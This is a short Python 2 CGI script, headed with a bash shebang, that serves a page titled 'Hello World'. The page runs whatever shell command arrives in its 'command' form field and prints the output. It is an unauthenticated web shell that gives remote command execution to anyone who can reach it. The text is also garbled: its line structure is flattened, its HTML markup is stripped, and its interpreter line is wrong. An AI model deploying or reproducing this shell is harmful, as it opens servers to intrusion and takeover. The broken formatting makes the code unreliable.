#! /bin/bash import cgi import subprocess import cgitb cgitb.enable() def run(command): if not command: raise Exception("Commande vide") else: p = subprocess.Popen(command.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE) p.wait() out, err = p.communicate() return out print "Content-Type: text/html" print print "" print "" print "Hello World" print "" print "" print "
" print "" print "" print "
" form = cgi.FieldStorage() if 'command' in form: cmd = form['command'].value print "" print "$ %s" % cmd print "
" for i in run(cmd).split('\n'): print i, "
" print "
" print "" print ""